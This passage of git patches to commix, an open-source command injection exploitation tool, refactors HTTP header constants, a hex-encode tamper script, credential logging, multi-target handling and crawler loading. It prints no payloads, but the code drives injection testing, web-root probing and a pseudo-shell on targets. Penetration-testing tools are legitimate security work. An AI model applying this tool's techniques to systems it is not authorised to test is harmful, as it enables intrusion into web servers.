+ OUTPUT_TEXTFILE +"')." info_msg += float_percent sys.stdout.write("\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py index c7814af513..08c9d6f1b5 100755 --- a/src/core/requests/headers.py +++ b/src/core/requests/headers.py @@ -254,16 +254,16 @@ def do_check(request): if menu.options.cookie and settings.COOKIE_INJECTION == False: request.add_header(settings.COOKIE, menu.options.cookie) - if not checks.get_header(request.headers, settings.HTTP_ACCEPT_HEADER): - request.add_header(settings.HTTP_ACCEPT_HEADER, settings.HTTP_ACCEPT_HEADER_VALUE) + if not checks.get_header(request.headers, settings.ACCEPT): + request.add_header(settings.ACCEPT, settings.ACCEPT_VALUE) # The MIME media type for JSON. if menu.options.data and not (menu.options.requestfile or menu.options.logfile): if re.search(settings.JSON_RECOGNITION_REGEX, menu.options.data) or \ re.search(settings.JSON_LIKE_RECOGNITION_REGEX, menu.options.data): - request.add_header("Content-Type", settings.HTTP_CONTENT_TYPE_JSON_HEADER_VALUE) + request.add_header(settings.CONTENT_TYPE, settings.HTTP_CONTENT_TYPE_JSON_HEADER_VALUE) elif re.search(settings.XML_RECOGNITION_REGEX, menu.options.data): - request.add_header("Content-Type", settings.HTTP_CONTENT_TYPE_XML_HEADER_VALUE) + request.add_header(settings.CONTENT_TYPE, settings.HTTP_CONTENT_TYPE_XML_HEADER_VALUE) # Default value for "Accept-Encoding" HTTP header if not (menu.options.requestfile or menu.options.logfile): @@ -281,7 +281,7 @@ def do_check(request): settings.SUPPORTED_HTTP_AUTH_TYPES.index(menu.options.auth_type) if menu.options.auth_type == "basic": b64_string = encodebytes(menu.options.auth_cred.encode(settings.DEFAULT_CODEC)).decode().replace('\n', '') - request.add_header("Authorization", "Basic " + b64_string + "") + request.add_header(settings.AUTHORIZATION, "Basic " + b64_string + "") elif menu.options.auth_type == "digest": try: url = menu.options.url @@ -344,11 +344,11 @@ def do_check(request): # The MIME media type for JSON. if re.search(settings.JSON_RECOGNITION_REGEX, menu.options.data) or \ re.search(settings.JSON_LIKE_RECOGNITION_REGEX, menu.options.data): - if "Content-Type" not in str(extra_headers): - request.add_header("Content-Type", settings.HTTP_CONTENT_TYPE_JSON_HEADER_VALUE) + if settings.CONTENT_TYPE not in str(extra_headers): + request.add_header(settings.CONTENT_TYPE, settings.HTTP_CONTENT_TYPE_JSON_HEADER_VALUE) elif re.search(settings.XML_RECOGNITION_REGEX, menu.options.data): - if "Content-Type" not in str(extra_headers): - request.add_header("Content-Type", settings.HTTP_CONTENT_TYPE_XML_HEADER_VALUE) + if settings.CONTENT_TYPE not in str(extra_headers): + request.add_header(settings.CONTENT_TYPE, settings.HTTP_CONTENT_TYPE_XML_HEADER_VALUE) if "Accept-Encoding" not in str(extra_headers): request.add_header('Accept-Encoding', settings.HTTP_ACCEPT_ENCODING_HEADER_VALUE) diff --git a/src/core/tamper/hexencode.py b/src/core/tamper/hexencode.py index 6346e9ec60..f19d538822 100644 --- a/src/core/tamper/hexencode.py +++ b/src/core/tamper/hexencode.py @@ -38,8 +38,9 @@ def tamper(payload): else: payload = _urllib.parse.unquote(payload) - payload = hexencode(payload).encode() - payload = payload.decode(settings.DEFAULT_CODEC) + encoded_payload, _ = hexencode(payload) + if _: + payload = encoded_payload return payload # eof \ No newline at end of file diff --git a/src/utils/settings.py b/src/utils/settings.py index bd646e854e..8b6151962e 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -230,7 +230,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.5" -REVISION = "48" +REVISION = "49" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" @@ -336,6 +336,9 @@ def sys_argv_errors(): # Local HTTP server port LOCAL_HTTP_PORT = random.randint(50000,60000) +HTML_DIR = os.path.abspath(os.path.join(os.path.dirname(__file__), "..", "..", "data", "html")) +DISABLED_CONTENT_EXTENSIONS = (".py", ".pyc", ".md", ".txt", ".bak", ".conf", ".zip", "~") + # Detection / Exploitation phase(s) DETECTION_PHASE = False EXPLOITATION_PHASE = False @@ -974,7 +977,6 @@ def sys_argv_errors(): BAD_GATEWAY = "502" SERVICE_UNAVAILABLE = "503" GATEWAY_TIMEOUT = "504" - HTTP_ERROR_CODES = [ BAD_REQUEST, UNAUTHORIZED_ERROR, FORBIDDEN_ERROR, @@ -1074,10 +1076,37 @@ def sys_argv_errors(): HOST = "Host" USER_AGENT = "User-Agent" REFERER = "Referer" -HTTP_ACCEPT_HEADER = "Accept" +ACCEPT = "Accept" +ACCEPT_CHARSET = "Accept-Charset" +ACCEPT_ENCODING = "Accept-Encoding" +ACCEPT_LANGUAGE = "Accept-Language" +AUTHORIZATION = "Authorization" +CACHE_CONTROL = "Cache-Control" +CONNECTION = "Connection" +CONTENT_ENCODING = "Content-Encoding" +CONTENT_LENGTH = "Content-Length" +CONTENT_RANGE = "Content-Range" +CONTENT_TYPE = "Content-Type" +EXPIRES = "Expires" +IF_MODIFIED_SINCE = "If-Modified-Since" +IF_NONE_MATCH = "If-None-Match" +LAST_MODIFIED = "Last-Modified" +LOCATION = "Location" +PRAGMA = "Pragma" +PROXY_AUTHORIZATION = "Proxy-Authorization" +PROXY_CONNECTION = "Proxy-Connection" +RANGE = "Range" +REFERER = "Referer" +REFRESH = "Refresh" # Reference: http://stackoverflow.com/a/283794 +SERVER = "Server" +SET_COOKIE = "Set-Cookie" +TRANSFER_ENCODING = "Transfer-Encoding" +VIA = "Via" +X_POWERED_BY = "X-Powered-By" +X_DATA_ORIGIN = "X-Data-Origin" # HTTP Headers values -HTTP_ACCEPT_HEADER_VALUE = "*/*" +ACCEPT_VALUE = "*/*" # Regular expression used for ignoring some special chars IGNORE_SPECIAL_CHAR_REGEX = "[^/(A-Za-z0-9.:,_]+" diff --git a/src/utils/simple_http_server.py b/src/utils/simple_http_server.py index c4b231ee99..ad63e8dcbe 100644 --- a/src/utils/simple_http_server.py +++ b/src/utils/simple_http_server.py @@ -23,6 +23,7 @@ from socket import error as socket_error from src.thirdparty.colorama import Fore, Back, Style, init from src.thirdparty.six.moves import _thread as thread +from src.thirdparty.six.moves import http_client as _http_client from src.thirdparty.six.moves import socketserver as _socketserver from src.thirdparty.six.moves import BaseHTTPServer as _BaseHTTPServer @@ -87,14 +88,15 @@ def do_GET(self): try: #Open the static file requested and send it f = open(self.path) - self.send_response(200) + self.send_response(_http_client.OK) + self.send_header(settings.CONNECTION, "close") self.end_headers() self.wfile.write(f.read().encode()) return except Exception: error_response = settings.APPLICATION + " " + settings.VERSION + " (https://commixproject.com)" - self.wfile.write(error_response.encode()) + self.wfile.write(error_response.encode()) def log_message(self, format, *args): return From 5a4acb857dfb7d36757450c09cd73edcf980b316 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 2 May 2022 08:59:12 +0300 Subject: [PATCH 126/560] Trivial update --- src/core/main.py | 15 ++++++++------- src/utils/settings.py | 2 +- 2 files changed, 9 insertions(+), 8 deletions(-) diff --git a/src/core/main.py b/src/core/main.py index f577d3a445..1c3aa5ac86 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -226,10 +226,10 @@ def init_request(url): debug_msg = "Creating " + str(settings.SCHEME).upper() + " requests opener object." print(settings.print_debug_msg(debug_msg)) # Used a valid pair of valid credentials - if menu.options.auth_cred and menu.options.auth_type: - info_msg = "Using '" + menu.options.auth_cred + "' pair of " + menu.options.auth_type - info_msg += " HTTP authentication credentials." - print(settings.print_info_msg(info_msg)) + if menu.options.auth_cred and menu.options.auth_type and settings.VERBOSITY_LEVEL !=0 : + debug_msg = "Using '" + menu.options.auth_cred + "' pair of " + menu.options.auth_type + debug_msg += " HTTP authentication credentials." + print(settings.print_debug_msg(debug_msg)) return request """ @@ -408,9 +408,10 @@ def main(filename, url): # Check if defined "--url" or "-m" option. if url: if menu.options.auth_cred and menu.options.auth_type: - info_msg = "Used a valid pair of " + menu.options.auth_type - info_msg += " HTTP authentication credentials '" + menu.options.auth_cred + "'." - print(settings.print_bold_info_msg(info_msg)) + if settings.VERBOSITY_LEVEL != 0: + debug_msg = "Used a valid pair of " + menu.options.auth_type + debug_msg += " HTTP authentication credentials '" + menu.options.auth_cred + "'." + print(settings.print_bold_debug_msg(debug_msg)) session_handler.import_valid_credentials(url, authentication_type=menu.options.auth_type, \ admin_panel=url, username=menu.options.auth_cred.split(":")[0], \ password=menu.options.auth_cred.split(":")[1] diff --git a/src/utils/settings.py b/src/utils/settings.py index 8b6151962e..fd33f002a0 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -230,7 +230,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.5" -REVISION = "49" +REVISION = "50" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" From 6cee207dbd8bc1fc5142749296ab2508140ff54f Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Tue, 3 May 2022 07:20:35 +0300 Subject: [PATCH 127/560] Trivial update --- src/core/injections/controller/controller.py | 8 ++------ .../techniques/classic/cb_handler.py | 13 ++++++------ .../techniques/eval_based/eb_handler.py | 14 ++++++------- .../techniques/file_based/fb_handler.py | 17 ++++++++-------- .../techniques/file_based/fb_injector.py | 4 ++-- src/core/main.py | 3 ++- src/core/requests/headers.py | 20 +++++++++++-------- src/utils/settings.py | 5 ++++- 8 files changed, 42 insertions(+), 42 deletions(-) diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index 07217d8538..898a3a749c 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -43,7 +43,6 @@ Check for previously stored sessions. """ def check_for_stored_sessions(url, http_request_method): - if not menu.options.ignore_session: if os.path.isfile(settings.SESSION_FILE) and not settings.REQUIRED_AUTHENTICATION: if not menu.options.tech: @@ -57,14 +56,12 @@ def check_for_stored_sessions(url, http_request_method): Check for previously stored injection level. """ def check_for_stored_levels(url, http_request_method): - if not menu.options.ignore_session: if menu.options.level == settings.DEFAULT_INJECTION_LEVEL: menu.options.level = session_handler.applied_levels(url, http_request_method) if type(menu.options.level) is not int : menu.options.level = settings.DEFAULT_INJECTION_LEVEL - """ Heuristic (basic) tests for command injection """ @@ -376,7 +373,8 @@ def injection_proccess(url, check_parameter, http_request_method, filename, time if settings.TESTABLE_VALUE != decoded_value and len(decoded_with) != 0: warn_msg = "The provided parameter appears to be '" + str(decoded_with) + "' encoded." print(settings.print_warning_msg(warn_msg)) - + + checks.tamper_scripts(stored_tamper_scripts=False) if settings.VERBOSITY_LEVEL != 0: debug_msg = "Performing heuristic (basic) tests to the target URL." print(settings.print_debug_msg(debug_msg)) @@ -698,8 +696,6 @@ def post_request(url, http_request_method, filename, timesec): for check_parameter in check_parameters: if check_parameter in "".join(settings.TEST_PARAMETER).split(","): menu.options.data = found_parameter[param_counter] - check_parameter = parameters.vuln_POST_param(menu.options.data, url) - # Check for session file check_for_stored_sessions(url, http_request_method) injection_proccess(url, check_parameter, http_request_method, filename, timesec) param_counter += 1 diff --git a/src/core/injections/results_based/techniques/classic/cb_handler.py b/src/core/injections/results_based/techniques/classic/cb_handler.py index 8a173abe42..cefc4f577c 100755 --- a/src/core/injections/results_based/techniques/classic/cb_handler.py +++ b/src/core/injections/results_based/techniques/classic/cb_handler.py @@ -331,7 +331,6 @@ def cb_injection_handler(url, timesec, filename, http_request_method, injection_ file_access_again = "Y" if file_access_again in settings.CHOICE_YES: cb_file_access.do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) - print(settings.SINGLE_WHITESPACE) break elif file_access_again in settings.CHOICE_NO: break @@ -345,13 +344,13 @@ def cb_injection_handler(url, timesec, filename, http_request_method, injection_ if menu.file_access_options(): cb_file_access.do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) - # Check if defined single cmd. - if menu.options.os_cmd: - cb_enumeration.single_os_cmd_exec(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) + # Check if defined single cmd. + if menu.options.os_cmd: + cb_enumeration.single_os_cmd_exec(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) - else: - if menu.file_access_options() or menu.options.os_cmd: - print(settings.SINGLE_WHITESPACE) + else: + if menu.file_access_options() or menu.options.os_cmd: + print(settings.SINGLE_WHITESPACE) # Pseudo-Terminal shell go_back = False diff --git a/src/core/injections/results_based/techniques/eval_based/eb_handler.py b/src/core/injections/results_based/techniques/eval_based/eb_handler.py index 6cb0bfd62b..4bfa672b56 100755 --- a/src/core/injections/results_based/techniques/eval_based/eb_handler.py +++ b/src/core/injections/results_based/techniques/eval_based/eb_handler.py @@ -342,7 +342,6 @@ def eb_injection_handler(url, timesec, filename, http_request_method, injection_ file_access_again = "Y" if file_access_again in settings.CHOICE_YES: eb_file_access.do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) - print(settings.SINGLE_WHITESPACE) break elif file_access_again in settings.CHOICE_NO: break @@ -355,15 +354,14 @@ def eb_injection_handler(url, timesec, filename, http_request_method, injection_ else: if menu.file_access_options(): eb_file_access.do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) - # print(settings.SINGLE_WHITESPACE) - # Check if defined single cmd. - if menu.options.os_cmd: - eb_enumeration.single_os_cmd_exec(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) + # Check if defined single cmd. + if menu.options.os_cmd: + eb_enumeration.single_os_cmd_exec(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) - else: - if menu.file_access_options() or menu.options.os_cmd: - print(settings.SINGLE_WHITESPACE) + else: + if menu.file_access_options() or menu.options.os_cmd: + print(settings.SINGLE_WHITESPACE) # Pseudo-Terminal shell go_back = False diff --git a/src/core/injections/semiblind/techniques/file_based/fb_handler.py b/src/core/injections/semiblind/techniques/file_based/fb_handler.py index b79edf8e2f..cb5c35fc27 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_handler.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_handler.py @@ -554,7 +554,6 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r file_access_again= "Y" if file_access_again in settings.CHOICE_YES: fb_file_access.do_check(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - print(settings.SINGLE_WHITESPACE) break elif file_access_again in settings.CHOICE_NO: break @@ -570,15 +569,15 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r if menu.file_access_options(): fb_file_access.do_check(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - # Check if defined single cmd. - if menu.options.os_cmd: - fb_enumeration.single_os_cmd_exec(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - # Delete previous shell (text) files (output) - delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) + # Check if defined single cmd. + if menu.options.os_cmd: + fb_enumeration.single_os_cmd_exec(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) + # Delete previous shell (text) files (output) + delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - else: - if menu.file_access_options() or menu.options.os_cmd: - print(settings.SINGLE_WHITESPACE) + else: + if menu.file_access_options() or menu.options.os_cmd: + print(settings.SINGLE_WHITESPACE) try: # Pseudo-Terminal shell diff --git a/src/core/injections/semiblind/techniques/file_based/fb_injector.py b/src/core/injections/semiblind/techniques/file_based/fb_injector.py index a823fe5dde..11fa8538a6 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_injector.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_injector.py @@ -282,7 +282,7 @@ def custom_web_root(url, OUTPUT_TEXTFILE): while True: if not menu.options.batch: question_msg = "Do you want to use URL '" + output - question_msg += "' for command execution results extraction? [Y/n] > " + question_msg += "' as command execution output? [Y/n] > " procced_option = _input(settings.print_question_msg(question_msg)) else: procced_option = "" @@ -307,7 +307,7 @@ def custom_web_root(url, OUTPUT_TEXTFILE): output = settings.DEFINED_WEBROOT if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Checking URL '" + settings.DEFINED_WEBROOT + "' for command execution results extraction." + debug_msg = "Checking URL '" + settings.DEFINED_WEBROOT + "' for command execution output." print(settings.print_debug_msg(debug_msg)) return output diff --git a/src/core/main.py b/src/core/main.py index 1c3aa5ac86..8c39fea469 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -471,7 +471,8 @@ def main(filename, url): pass # Load tamper scripts if menu.options.tamper: - checks.tamper_scripts(stored_tamper_scripts=False) + settings.USER_SUPPLIED_TAMPER = menu.options.tamper + # checks.tamper_scripts(stored_tamper_scripts=False) except AttributeError: pass diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py index 08c9d6f1b5..b810398374 100755 --- a/src/core/requests/headers.py +++ b/src/core/requests/headers.py @@ -150,20 +150,24 @@ def https_open(self, req): _ = False unauthorized = False - while not _ and settings.TOTAL_OF_REQUESTS <= settings.MAX_RETRIES and unauthorized is False: + while not _ and settings.TOTAL_OF_REQUESTS <= settings.MAX_RETRIES and unauthorized is False: + if settings.MULTI_TARGETS: + if settings.INIT_TEST == True and len(settings.MULTI_ENCODED_PAYLOAD) != 0: + settings.MULTI_ENCODED_PAYLOAD = [] + menu.options.tamper = settings.USER_SUPPLIED_TAMPER try: response = opener.open(request, timeout=settings.TIMEOUT) page = checks.page_encoding(response, action="encode") _ = True settings.MAX_RETRIES = settings.TOTAL_OF_REQUESTS * 2 - if settings.VERBOSITY_LEVEL < 2: - if (settings.INIT_TEST == True and not settings.UNAUTHORIZED) or \ - (settings.INIT_TEST == True and settings.MULTI_TARGETS): - if settings.VALID_URL == False: - settings.VALID_URL = True + if (settings.INIT_TEST == True and not settings.UNAUTHORIZED) or \ + (settings.INIT_TEST == True and settings.MULTI_TARGETS): + if settings.VALID_URL == False: + settings.VALID_URL = True + if not settings.CHECK_INTERNET: + settings.INIT_TEST = False + if settings.VERBOSITY_LEVEL < 2: print(settings.SINGLE_WHITESPACE) - if not settings.CHECK_INTERNET: - settings.INIT_TEST = False except _urllib.error.HTTPError as err_msg: if settings.TOTAL_OF_REQUESTS == 1 and settings.VERBOSITY_LEVEL < 2: diff --git a/src/utils/settings.py b/src/utils/settings.py index fd33f002a0..0fa8d707e6 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -230,7 +230,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.5" -REVISION = "50" +REVISION = "51" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" @@ -942,6 +942,8 @@ def sys_argv_errors(): RAW_HTTP_HEADERS = "" +USER_SUPPLIED_TAMPER = "" + # Tamper scripts dict TAMPER_SCRIPTS = { "space2ifs": False, @@ -1128,4 +1130,5 @@ def sys_argv_errors(): REDIRECT_CODE = "" BASE64_PADDING = "==" + # eof \ No newline at end of file From 10de2aec752b1f92efa4de7df4e0808801ae2a11 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Wed, 4 May 2022 07:44:48 +0300 Subject: [PATCH 128/560] Minor update regarding commit: https://github.com/commixproject/commix/commit/6cee207dbd8bc1fc5142749296ab2508140ff54f --- src/core/injections/controller/controller.py | 10 +++++++--- .../semiblind/techniques/file_based/fb_injector.py | 7 +++++-- src/utils/settings.py | 4 ++-- 3 files changed, 14 insertions(+), 7 deletions(-) diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index 898a3a749c..bd5099f9bb 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -71,7 +71,7 @@ def command_injection_heuristic_basic(url, http_request_method, check_parameter, settings.CLASSIC_STATE = True try: whitespace = settings.WHITESPACES[0] - if not settings.IDENTIFIED_COMMAND_INJECTION: + if not settings.IDENTIFIED_COMMAND_INJECTION or settings.MULTI_TARGETS: _ = 0 for payload in settings.BASIC_COMMAND_INJECTION_PAYLOADS: _ = _ + 1 @@ -100,7 +100,6 @@ def command_injection_heuristic_basic(url, http_request_method, check_parameter, request.add_header(settings.COOKIE, cookie) if inject_http_headers: request.add_header(check_parameter.replace("'","").strip(), (settings.CUSTOM_HEADER_VALUE + payload).encode(settings.DEFAULT_CODEC)) - #request.add_header(check_parameter.replace("'","").strip(), payload.encode(settings.DEFAULT_CODEC)) headers.do_check(request) response = requests.get_request_response(request) @@ -141,7 +140,7 @@ def code_injections_heuristic_basic(url, http_request_method, check_parameter, t menu.options.data = menu.options.data.replace("/&", "/e&") except TypeError as err_msg: pass - if not settings.IDENTIFIED_WARNINGS and not settings.IDENTIFIED_PHPINFO: + if (not settings.IDENTIFIED_WARNINGS and not settings.IDENTIFIED_PHPINFO) or settings.MULTI_TARGETS: for payload in settings.PHPINFO_CHECK_PAYLOADS: if not inject_http_headers or (inject_http_headers and "'Host'" in check_parameter): payload = _urllib.parse.quote(payload) @@ -696,6 +695,8 @@ def post_request(url, http_request_method, filename, timesec): for check_parameter in check_parameters: if check_parameter in "".join(settings.TEST_PARAMETER).split(","): menu.options.data = found_parameter[param_counter] + check_parameter = parameters.vuln_POST_param(menu.options.data, url) + # Check for session file check_for_stored_sessions(url, http_request_method) injection_proccess(url, check_parameter, http_request_method, filename, timesec) param_counter += 1 @@ -793,6 +794,9 @@ def basic_level_checks(): General check on every injection technique. """ def do_check(url, http_request_method, filename): + if settings.RECHECK_FILE_FOR_EXTRACTION: + settings.RECHECK_FILE_FOR_EXTRACTION = False + # Check for '--tor' option. if menu.options.tor: if not menu.options.tech or "t" in menu.options.tech or "f" in menu.options.tech: diff --git a/src/core/injections/semiblind/techniques/file_based/fb_injector.py b/src/core/injections/semiblind/techniques/file_based/fb_injector.py index 11fa8538a6..32f106e857 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_injector.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_injector.py @@ -265,7 +265,7 @@ def custom_web_root(url, OUTPUT_TEXTFILE): settings.DEFINED_WEBROOT = output return output - if not settings.DEFINED_WEBROOT: + if not settings.DEFINED_WEBROOT or settings.MULTI_TARGETS: if menu.options.web_root: _ = "/" if not menu.options.web_root.endswith(_): @@ -278,7 +278,10 @@ def custom_web_root(url, OUTPUT_TEXTFILE): if item == menu.options.web_root: settings.DEFINED_WEBROOT = output break - if not settings.DEFINED_WEBROOT: + + if not settings.DEFINED_WEBROOT or (settings.MULTI_TARGETS and not settings.RECHECK_FILE_FOR_EXTRACTION): + if settings.MULTI_TARGETS: + settings.RECHECK_FILE_FOR_EXTRACTION = True while True: if not menu.options.batch: question_msg = "Do you want to use URL '" + output diff --git a/src/utils/settings.py b/src/utils/settings.py index 0fa8d707e6..85b14e28f4 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -230,7 +230,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.5" -REVISION = "51" +REVISION = "52" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" @@ -1071,7 +1071,7 @@ def sys_argv_errors(): NAGGING_DAYS = 31 LINUX_DEFAULT_DOC_ROOTS = ["/var/www/", "/var/www/html", "/var/www/htdocs", "/usr/local/apache2/htdocs", "/usr/local/www/data", "/var/apache2/htdocs", "/var/www/nginx-default", "/srv/www/htdocs"] # Reference: https://wiki.apache.org/httpd/DistrosDefaultLayout -DEFINED_WEBROOT = False +DEFINED_WEBROOT = RECHECK_FILE_FOR_EXTRACTION = False # HTTP Headers COOKIE = "Cookie" From 6087dbcfebe0b3c281c0723b2cdc1f82d237ece0 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Thu, 5 May 2022 08:36:21 +0300 Subject: [PATCH 129/560] Improvement regarding crawler. --- doc/CHANGELOG.md | 1 + src/core/injections/controller/checks.py | 28 ++- src/core/main.py | 64 +++++-- src/core/requests/headers.py | 8 +- src/core/requests/redirection.py | 6 +- src/utils/common.py | 9 + src/utils/crawler.py | 223 +++++++++++------------ src/utils/menu.py | 2 +- src/utils/settings.py | 15 +- 9 files changed, 208 insertions(+), 148 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index d7fca13ba6..182418a046 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 3.5 (TBA) +* Revised: Improvement regarding crawler. * Revised: Minor bug-fix regarding `--file-upload` option. * Revised: Minor improvement regarding identifying 'hex' and/or 'base64' encoded parameter(s) value(s). * Added: New option `--no-logging` for disabling logging to a file. diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 716c1bddab..80966a57c1 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -55,7 +55,7 @@ Connection exceptions """ -def connection_exceptions(err_msg): +def connection_exceptions(err_msg, url): settings.VALID_URL = False try: error_msg = str(err_msg.args[0]).split("] ")[1] @@ -84,19 +84,29 @@ def connection_exceptions(err_msg): warn_msg += "'--proxy' option." print(settings.print_warning_msg(warn_msg)) elif "infinite loop" in str(error_msg): - error_msg = "Infinite redirect loop detected." - error_msg += "Please check all provided parameters and/or provide missing ones." + error_msg = "Infinite redirect loop detected. " + error_msg += "Please check all provided parameters and/or provide missing ones" elif "BadStatusLine" in str(error_msg): error_msg = "connection dropped or unknown HTTP " error_msg += "status code received." elif "forcibly closed" in str(error_msg) or "Connection is already closed" in str(error_msg): error_msg = "connection was forcibly closed by the target URL." - if settings.MAX_RETRIES > 1: + elif settings.UNAUTHORIZED_ERROR in str(error_msg) and not menu.options.ignore_code: + error_msg = "Not authorized, try to provide right HTTP " + error_msg += "authentication type and valid credentials." + if not menu.options.ignore_code == settings.UNAUTHORIZED_ERROR: + error_msg += " If this is intended, try to rerun by providing " + error_msg += "a valid value for option '--ignore-code'" + if settings.MAX_RETRIES > 1 and not settings.CRAWLING: info_msg = settings.APPLICATION.capitalize() + " is going to retry the request(s)." print(settings.print_info_msg(info_msg)) - error_msg = "Unable to connect to the target URL (Reason: " + error_msg.capitalize() + ")." - if settings.MULTI_TARGETS: - error_msg = error_msg + " Skipping to the next target." + error_msg = "Unable to connect to the target URL (Reason: " + error_msg.replace("Http", "Http".upper()) + ")." + if not url: + _ = "" + else: + _ = " '" + url + "'" + if settings.MULTI_TARGETS or settings.CRAWLED_SKIPPED_URLS != 0: + error_msg = error_msg + " Skipping URL"+ _ +"." print(settings.print_critical_msg(error_msg)) settings.TOTAL_OF_REQUESTS = settings.TOTAL_OF_REQUESTS + 1 if settings.MAX_RETRIES > 1: @@ -111,7 +121,7 @@ def connection_exceptions(err_msg): def not_declared_cookies(response): try: candidate = re.search(r'([^;]+);?', response.headers[settings.SET_COOKIE]).group(1) - if candidate and settings.DECLARED_COOKIES is not False: + if candidate and settings.DECLARED_COOKIES is not False and settings.CRAWLING is False: settings.DECLARED_COOKIES = True if settings.CRAWLED_SKIPPED_URLS != 0: print(settings.SINGLE_WHITESPACE) @@ -318,6 +328,8 @@ def captcha_check(page): warn_msg += " (CloudFlare)." else: warn_msg += "." + if settings.CRAWLING: + print(settings.SINGLE_WHITESPACE) print(settings.print_bold_warning_msg(warn_msg)) break diff --git a/src/core/main.py b/src/core/main.py index 8c39fea469..d1d6b53dc6 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -241,7 +241,7 @@ def url_response(url): # Check if defined Tor (--tor option). if menu.options.tor and settings.TOR_CHECK_AGAIN: tor.do_check() - if settings.MULTI_TARGETS: + if settings.MULTI_TARGETS or settings.CRAWLING: settings.TOR_CHECK_AGAIN = False # initiate total of requests settings.TOTAL_OF_REQUESTS = 0 @@ -416,9 +416,6 @@ def main(filename, url): admin_panel=url, username=menu.options.auth_cred.split(":")[0], \ password=menu.options.auth_cred.split(":")[1] ) - # Load the crawler - if menu.options.crawldepth > 0 or menu.options.sitemap_url: - url = crawler.crawler(url) try: if menu.options.flush_session: session_handler.flush(url) @@ -625,11 +622,6 @@ def main(filename, url): if menu.options.os: checks.user_defined_os() - if menu.options.crawldepth > 2: - err_msg = "Depth level '" + str(menu.options.crawldepth) + "' is not a valid." - print(settings.print_error_msg(err_msg)) - raise SystemExit() - # Check if defined "--check-tor" option. if menu.options.tor_check and not menu.options.tor: err_msg = "The '--check-tor' swich requires usage of switch '--tor'." @@ -676,6 +668,9 @@ def main(filename, url): else: settings.LOCAL_HTTP_IP = None + if menu.options.crawldepth > 0 or menu.options.sitemap_url: + settings.CRAWLING = True + # Check arguments if len(sys.argv) == 1: menu.parser.print_help() @@ -762,6 +757,54 @@ def main(filename, url): if os.path.isdir("./.git") and settings.CHECK_FOR_UPDATES_ON_START: update.check_for_update() + # Load the crawler + if settings.CRAWLING: + output_href = crawler.crawler(menu.options.url) + filename = crawler.store_crawling() + # Removing duplicates from list. + clean_output_href = [] + [clean_output_href.append(x) for x in output_href if x 